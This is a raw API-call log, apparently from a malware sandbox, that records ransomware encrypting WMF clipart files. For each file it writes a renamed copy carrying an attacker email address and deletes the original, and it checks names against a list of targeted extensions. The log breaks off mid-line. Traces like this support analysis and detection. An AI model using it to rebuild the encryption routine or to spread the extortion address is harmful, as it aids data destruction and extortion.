[0170.460] CloseHandle (hObject=0x380) returned 1 [0170.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf")) returned 0x220 [0170.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0170.477] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.477] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.483] GetLastError () returned 0x0 [0170.483] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xa520, lpOverlapped=0x0) returned 1 [0170.490] WriteFile (in: hFile=0x374, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xa530, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xa530, lpOverlapped=0x0) returned 1 [0170.491] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.491] WriteFile (in: hFile=0x374, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.491] SetEndOfFile (hFile=0x374) returned 1 [0170.496] CloseHandle (hObject=0x374) returned 1 [0170.499] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.499] SetEndOfFile (hFile=0x394) returned 1 [0170.503] CloseHandle (hObject=0x394) returned 1 [0170.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf")) returned 1 [0170.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.511] lstrlenW (lpString=".doc") returned 4 [0170.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.511] lstrlenW (lpString=".docx") returned 5 [0170.511] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.511] lstrlenW (lpString=".pdf") returned 4 [0170.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.511] lstrlenW (lpString=".xls") returned 4 [0170.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.511] lstrlenW (lpString=".xlsx") returned 5 [0170.511] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.511] lstrlenW (lpString=".ppt") returned 4 [0170.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.511] lstrlenW (lpString=".zip") returned 4 [0170.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.511] lstrlenW (lpString=".rar") returned 4 [0170.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.511] lstrlenW (lpString=".bz2") returned 4 [0170.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.511] lstrlenW (lpString=".7z") returned 3 [0170.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.511] lstrlenW (lpString=".dbf") returned 4 [0170.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.511] lstrlenW (lpString=".1cd") returned 4 [0170.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.511] lstrlenW (lpString=".jpg") returned 4 [0170.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.512] lstrlenW (lpString=".doc") returned 4 [0170.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString=".docx") returned 5 [0170.512] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.512] lstrlenW (lpString=".pdf") returned 4 [0170.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString=".xls") returned 4 [0170.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.512] lstrlenW (lpString=".xlsx") returned 5 [0170.512] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.512] lstrlenW (lpString=".ppt") returned 4 [0170.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.512] lstrlenW (lpString=".zip") returned 4 [0170.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.512] lstrlenW (lpString=".rar") returned 4 [0170.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString=".bz2") returned 4 [0170.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString=".7z") returned 3 [0170.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.512] lstrlenW (lpString=".dbf") returned 4 [0170.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.512] lstrlenW (lpString=".1cd") returned 4 [0170.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0170.512] lstrlenW (lpString=".jpg") returned 4 [0170.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.512] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.512] lstrlenW (lpString="J0198377.WMF") returned 12 [0170.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.529] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=40300) returned 1 [0170.529] CloseHandle (hObject=0x374) returned 1 [0170.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf")) returned 0x220 [0170.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.537] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.537] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.541] GetLastError () returned 0x0 [0170.541] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x9d6c, lpOverlapped=0x0) returned 1 [0170.543] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9d70, lpOverlapped=0x0) returned 1 [0170.544] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.545] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.545] SetEndOfFile (hFile=0x308) returned 1 [0170.546] CloseHandle (hObject=0x308) returned 1 [0170.550] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.551] SetEndOfFile (hFile=0x370) returned 1 [0170.555] CloseHandle (hObject=0x370) returned 1 [0170.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf")) returned 1 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString=".doc") returned 4 [0170.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString=".docx") returned 5 [0170.564] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.564] lstrlenW (lpString=".pdf") returned 4 [0170.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString=".xls") returned 4 [0170.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.564] lstrlenW (lpString=".xlsx") returned 5 [0170.564] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.564] lstrlenW (lpString=".ppt") returned 4 [0170.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString=".zip") returned 4 [0170.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.564] lstrlenW (lpString=".rar") returned 4 [0170.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString=".bz2") returned 4 [0170.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString=".7z") returned 3 [0170.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString=".dbf") returned 4 [0170.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString=".1cd") returned 4 [0170.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString=".jpg") returned 4 [0170.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString=".doc") returned 4 [0170.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString=".docx") returned 5 [0170.564] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.564] lstrlenW (lpString=".pdf") returned 4 [0170.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString=".xls") returned 4 [0170.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.564] lstrlenW (lpString=".xlsx") returned 5 [0170.564] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.564] lstrlenW (lpString=".ppt") returned 4 [0170.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.564] lstrlenW (lpString=".zip") returned 4 [0170.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.565] lstrlenW (lpString=".rar") returned 4 [0170.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.565] lstrlenW (lpString=".bz2") returned 4 [0170.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.565] lstrlenW (lpString=".7z") returned 3 [0170.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.565] lstrlenW (lpString=".dbf") returned 4 [0170.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.565] lstrlenW (lpString=".1cd") returned 4 [0170.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0170.565] lstrlenW (lpString=".jpg") returned 4 [0170.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.565] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.565] lstrlenW (lpString="J0199303.WMF") returned 12 [0170.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.568] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31822) returned 1 [0170.568] CloseHandle (hObject=0x378) returned 1 [0170.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf")) returned 0x220 [0170.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.576] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.576] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.579] GetLastError () returned 0x0 [0170.579] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7c4e, lpOverlapped=0x0) returned 1 [0170.581] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0170.581] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.582] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.582] SetEndOfFile (hFile=0x38c) returned 1 [0170.587] CloseHandle (hObject=0x38c) returned 1 [0170.590] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.590] SetEndOfFile (hFile=0x2ec) returned 1 [0170.596] CloseHandle (hObject=0x2ec) returned 1 [0170.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf")) returned 1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString=".doc") returned 4 [0170.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".docx") returned 5 [0170.599] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.599] lstrlenW (lpString=".pdf") returned 4 [0170.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".xls") returned 4 [0170.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.599] lstrlenW (lpString=".xlsx") returned 5 [0170.599] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.599] lstrlenW (lpString=".ppt") returned 4 [0170.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString=".zip") returned 4 [0170.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.599] lstrlenW (lpString=".rar") returned 4 [0170.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".bz2") returned 4 [0170.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".7z") returned 3 [0170.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString=".dbf") returned 4 [0170.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString=".1cd") returned 4 [0170.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString=".jpg") returned 4 [0170.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.599] lstrlenW (lpString=".doc") returned 4 [0170.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".docx") returned 5 [0170.599] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.600] lstrlenW (lpString=".pdf") returned 4 [0170.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString=".xls") returned 4 [0170.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.600] lstrlenW (lpString=".xlsx") returned 5 [0170.600] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.600] lstrlenW (lpString=".ppt") returned 4 [0170.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.600] lstrlenW (lpString=".zip") returned 4 [0170.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.600] lstrlenW (lpString=".rar") returned 4 [0170.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString=".bz2") returned 4 [0170.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString=".7z") returned 3 [0170.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.600] lstrlenW (lpString=".dbf") returned 4 [0170.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.600] lstrlenW (lpString=".1cd") returned 4 [0170.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0170.600] lstrlenW (lpString=".jpg") returned 4 [0170.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.600] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.600] lstrlenW (lpString="J0199465.WMF") returned 12 [0170.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.607] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5060) returned 1 [0170.607] CloseHandle (hObject=0x370) returned 1 [0170.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf")) returned 0x220 [0170.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 